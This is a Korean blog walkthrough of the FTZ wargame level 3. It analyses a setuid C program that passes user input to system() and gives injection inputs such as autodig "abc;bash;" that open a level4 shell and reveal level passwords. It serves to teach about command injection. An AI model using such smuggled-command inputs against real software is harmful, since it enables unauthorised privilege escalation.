본문 바로가기

Learning/└◆System Hacking

[War Game] FTZ LEVEL 3

 


<FTZ LEVEL3>


 

$ id

 uid=3003(level3) gid=3003(level3) groups=3003(level3)

 

$ ls

 hint  public_html  tmp

 

$ cat hint

 

다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

 

 

autodig에 관한 소스코드가 나와 있다.(추가힌트도 있다)

 

우선 소스코드에 대해서 분석해 본다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

 

argc는 명령행 옵션 개수, argv는 옵션의 문자열이다.

예를 들어 ls -al 명령어를 실행했다고 하면

argc2가 될 것이며

argv[0]ls argv[1]-al 이 될 것이다.

 

그 말은 위 소스코드에서 if문은 argc가 2개가 아닐 때 가 된다.

 

     }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

 

첫 번째 구문을 해석해 보면 2개를 입력하면 위 코드가 실행된다.

두 번째 구문에서는 strcpy와 strcat 함수를 사용하고 있다.

 

첫 행을 보면 dig@ cmd에 넣고 있다. 즉 dig명령어를 실행하는 것이다.

dig 명령어 사용법.hwp

 

$ dig --help

dig는 서버의 IP나 도메인, 버전 등의 정보를 얻기 위해 사용하는 명령어 이다.

 

위 코드를 해석해보면

dig가 실행되고

dig @argv[1] version.bind chaos txt가 cmd가 되고

system(cmd)로 실행이 된다.

 

사실 뒤에 bind는 DNS서버에서 운영중인 BIND 프로그램의 버전을 확인하는 명령을 실행한다.

해당 서버에서 취약한 버전을 운영 중인지 확인 할 때 사용한다.

nslookup과 비슷한 명령어 라고 생각 하면 좋다.

 

이제 본격적으로 level4의 패스워드를 찾아보도록 하겠다.

추가힌트를 보면

 

1. 동시에 여러 명령어를 사용하려면?

; 기호를 써주면 된다.

 

$ autodig abc;my-pass


Level3 Password is "can you fly?".

 

 

2. 문자열 형태로 명령어를 전송하려면?

""(더블쿼터) 기호를 써주면 된다.

 

$ autodig "abc;my-pass"


Level4 Password is "suck my brain".

 

 

마찬가지 방법으로 쉘을 실행하려 시도 하지만 실행되지 않는다.

 

$ autodig "abc;bash;"

;기호를 사용하면 level4의 배쉬 쉘 을 획득할 수 있다.

 

이 힌트에 핵심이 뭐냐면 바로 system() 함수의 취약점이다.

코드 해석 그대로 보면

autodig 168.126.63.1 = dig @168.126.63.1 version.bind chaos txt 이다.

 

system함수는 변수값을 점검하거나 하지 않고 명령어를 그대로 쉘에게 전달한다.

 

이해가 안가면 이렇게 명령어를 쳐본다.

$ autodig "168.126.63.1 www.naver.com; id;"

 

; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58915

;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3


;; QUESTION SECTION:

;www.naver.com.                 IN      A


;; ANSWER SECTION:

www.naver.com.          0       IN      CNAME   www.naver.com.nheos.com.

www.naver.com.nheos.com. 27     IN      A       202.179.177.22

www.naver.com.nheos.com. 27     IN      A       125.209.222.141


;; AUTHORITY SECTION:

nheos.com.              16451   IN      NS      ns3.nheos.com.

nheos.com.              16451   IN      NS      ns1.nheos.com.

nheos.com.              16451   IN      NS      ns2.nheos.com.


;; ADDITIONAL SECTION:

ns1.nheos.com.          17674   IN      A       119.205.240.148

ns2.nheos.com.          16451   IN      A       61.247.202.50

ns3.nheos.com.          2641    IN      A       175.158.30.74


;; Query time: 4 msec

;; SERVER: 168.126.63.1#53(168.126.63.1)

;; WHEN: Mon Nov 30 14:50:27 2015

;; MSG SIZE  rcvd: 199


uid=3004(level4) gid=3003(level3) groups=3003(level3)

sh: line 1: version.bind: command not found

마지막 에러 메세지가 출력 되었다는건 결과값이 아직 끝나지 않은 상태이다.

그리고 uid값은 level4의 값을 볼 수 있다.

결론은 명령어를 입력하는 도중에는 level4의 권한을 얻게 되는 것이다.

(명령어가 끝나면 다시 level3의 권한으로 돌아온다.)

 

위에 $ autodig "abc;bash;" 이것은

/bin/autodig "168.126.63.1 www.naver.com; bash;"

이렇게 보면 된다.

 

코드가 해석하기엔

dig @168.126.63.1 www.naver.com; bash; version.bind chaos txt

이렇게 해석되고 명령어 중간에 ;기호를 사용하여

동시에 여러 명령어들을 각각 그대로 쉘에게 전달되고 그중

bash 라는 명령어도 level4의 권한으로 얻게 되는 것이다.

'Learning > └◆System Hacking' 카테고리의 다른 글

[War Game] FTZ LEVEL 5  (0) 2017.01.21
[War Game] FTZ LEVEL 4  (0) 2017.01.21
[War Game] FTZ LEVEL 2  (0) 2017.01.21
[War Game] FTZ LEVEL 1  (0) 2016.11.21